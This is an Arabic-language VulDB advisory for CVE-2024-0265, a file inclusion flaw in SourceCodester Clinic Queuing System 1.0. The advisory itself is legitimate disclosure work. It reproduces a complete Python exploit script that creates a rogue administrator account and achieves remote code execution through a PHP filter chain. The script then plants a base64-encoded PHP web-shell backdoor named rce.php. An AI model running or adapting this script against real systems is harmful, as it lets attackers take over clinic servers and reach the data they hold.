SourceCodester Clinic Queuing System 1.0 GET Parameter /index.php page تجاوز الصلاحيات

CVSS الدرجة المؤقتة للميتاسعر الإكسبلويت الحالي (≈)درجة اهتمام CTI
7.4$0-$5k0.00

الملخصالمعلومات

هناك ثغرة تم تصنيفها كـ خطيرة تم اكتشافها في SourceCodester Clinic Queuing System 1.0. تتعلق المشكلة بوظيفة غير معروفة في الملف /index.php في المكون GET Parameter Handler. تؤدي عملية التلاعب بالوسيط page إلى تجاوز الصلاحيات. تحمل هذه الثغرة المعرف CVE-2024-0265. يمكن البدأ بالهجوم هذا عن بعد. بالإضافة إلى ذلك، يتوفر استغلال.

التفاصيلالمعلومات

هناك ثغرة تم تصنيفها كـ خطيرة تم اكتشافها في SourceCodester Clinic Queuing System 1.0. تتعلق المشكلة بوظيفة غير معروفة في الملف /index.php في المكون GET Parameter Handler. تؤدي عملية التلاعب بالوسيط page إلى تجاوز الصلاحيات. عبر استخدام CWE في وصف المشكلة، سيتم الإشارة إلى CWE-73. المشكلة تمت مشاركتها بتاريخ 06/01/2024. يمكنك تنزيل التنبيه من github.com.

تحمل هذه الثغرة المعرف CVE-2024-0265. يمكن البدأ بالهجوم هذا عن بعد. تتوفر معلومات تقنية. معدل انتشار هذه الثغرة أقل من المعدل العام. بالإضافة إلى ذلك، يتوفر استغلال. تم الإعلان عن الثغرة للعامة ومن الممكن استغلالها.

إذا كان هناك قيمة لـ إثبات المفهوم، فسيتم التصريح بأنه إثبات المفهوم. يمكن تحميل الاستغلال من github.com. باعتباره ثغرة يوم الصفر، كان السعر التقديري في السوق السوداء حوالي $0-$5k. شفرة الاستغلال المستخدمة هي:

# Author: Juan Marco Sanchez | https://linkedin.com/in/juanmarcosanchez
  1. Sourcecodester Clinic Queuing System RCE
  2. Chain of CVE-2024-0264 and CVE-2024-0265
import requests import random import argparse from bs4 import BeautifulSoup

parser = argparse.ArgumentParser() parser.add_argument("target") args = parser.parse_args()

base_url = args.target phase1_url = base_url + '/LoginRegistration.php?a=save_user' phase2_url = base_url + '/LoginRegistration.php?a=login'

filter_chain = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=home"

def phase1(): rand_user = 'pwn_'+str(random.randint(100, 313)) rand_pass = 'pwn_'+str(random.randint(100, 313)) pwn_user_data = {'formToken':'','fullname':'pwn!','username':rand_user,'password':rand_pass,'status':1,'type':1} print("[*] adding administrator " + rand_user + ":" + rand_pass) phase1 = requests.post(phase1_url, pwn_user_data) if "User Account has been added successfully." in phase1.text: print("[+] Phase 1 Success - Admin user added!\n") print("[*] Initiating Phase 2") phase2(rand_user, rand_pass) else: print("[X] user creation failed :(") die()

def phase2(user, password): s = requests.Session(); login_data = {'formToken':'','username':user, 'password':password} print("[*] Loggin in....") phase2 = s.post(phase2_url, login_data)

if "Login successfully." in phase2.text: print("[+] Login success") else: print("[X] Login failed.") die()

print("[+] Preparing for RCE via LFI PHP FIlter Chaining...\n") rce_url = base_url + "/?page=" + filter_chain + "&0=echo '|jmrcsnchz|<pre>'.shell_exec('id').'</pre>';" #print("[*] Payload: " + rce_url) rce = s.get(rce_url) if "jmrcsnchz" in rce.text: print("[+] RCE success!") soup = BeautifulSoup(rce.text, 'html.parser') print("[+] Output of id: " + soup.pre.get_text()) print("[*] Uploading php backdoor....") s.get(base_url + "/?page=" + filter_chain + "&0=file_put_contents('rce.php',base64_decode('PD89YCRfR0VUWzBdYD8%2b'));") print("[+] Access at " + base_url + "/rce.php?0=whoami") else: print("[X] Exploit failed. Try debugging the script or pass this script onto a proxy to investigate.") die()

try: print("[*] Initiating Phase 1") phase1() except: print("Exploit failed.")

منتجالمعلومات

المجهز

الأسم

النسخة

الرخصة

موقع إلكتروني

CPE 2.3المعلومات

CPE 2.2المعلومات

CVSSv4المعلومات

VulDB متجه: 🔍
VulDB الاعتمادية: 🔍

CVSSv3المعلومات

VulDB الدرجة الأساسية للميتا: 7.6
VulDB الدرجة المؤقتة للميتا: 7.4

VulDB الدرجة الأساسية: 6.3
VulDB الدرجة المؤقتة: 5.7
VulDB متجه: 🔍
VulDB الاعتمادية: 🔍

باحث الدرجة الأساسية: 8.8
باحث متجه: 🔍

NVD الدرجة الأساسية: 8.8
NVD متجه: 🔍

CNA الدرجة الأساسية: 6.3
CNA متجه (VulDB): 🔍

CVSSv2المعلومات

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
متجهالتعقيدتوثيقالسريةالأمانةالتوفر
افتحافتحافتحافتحافتحافتح
افتحافتحافتحافتحافتحافتح
افتحافتحافتحافتحافتحافتح

VulDB الدرجة الأساسية: 🔍
VulDB الدرجة المؤقتة: 🔍
VulDB الاعتمادية: 🔍

NVD الدرجة الأساسية: 🔍

استغلالالمعلومات

الفئة: تجاوز الصلاحيات
CWE: CWE-73
CAPEC: 🔍
ATT&CK: 🔍

ملموس: لا
محلي: لا
عن بُعد: نعم

التوفر: 🔍
وصول: عام
الحالة: إثبات المفهوم
المؤلف: Juan Marco Sanchez (jmrcsnchz)
لغة البرمجة: 🔍
تحميل: 🔍
Google Hack: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

تقدير السعر: 🔍
تقدير السعر الحالي: 🔍

0-Dayافتحافتحافتحافتح
اليومافتحافتحافتحافتح

استخبارات التهديدالمعلومات

الاهتمام: 🔍
الفاعلون النشطون: 🔍
مجموعات APT النشطة: 🔍

إجراءات مضادةالمعلومات

التوصية: لا يوجد تخفيف معروف
الحالة: 🔍

زمن الهجوم الفوري: 🔍

الجدول الزمنيالمعلومات

06/01/2024 🔍
06/01/2024 +0 أيام 🔍
06/01/2024 +0 أيام 🔍
09/06/2025 +520 أيام 🔍

المصادرالمعلومات

المجهز: sourcecodester.com

استشارة: github.com
الحالة: غير معرفة

CVE: CVE-2024-0265 (🔍)
GCVE (CVE): GCVE-0-2024-0265
GCVE (VulDB): GCVE-100-249821
EUVD: 🔍
scip Labs: https://www.scip.ch/en/?labs.20161013

إدخالالمعلومات

تم الإنشاء: 06/01/2024 09:57 AM
تم التحديث: 09/06/2025 09:22 PM
التغييرات: 06/01/2024 09:57 AM (42), 06/01/2024 04:23 PM (3), 06/01/2024 04:24 PM (13), 06/01/2024 04:27 PM (3), 24/01/2024 06:03 PM (2), 24/01/2024 06:11 PM (27), 09/06/2025 09:22 PM (16)
كامل: 🔍
المقدم: Echidonut
المتعهد: Echidonut
Cache ID: 216::103

إرسالالمعلومات

تمت الموافقة

  • إرسال #261736: Sourcecodester Clinic Queuing System 1.0 Local File Inclusion (بحسب Echidonut)

If you want to get the best quality for vulnerability data then you always have to consider VulDB.

مناقشة

لا توجد تعليقات بعد اللغات: ar + fa + en.

يرجى تسجيل الدخول حتى تتمكن من التعليق

Do you know our Splunk app?

Download it now for free!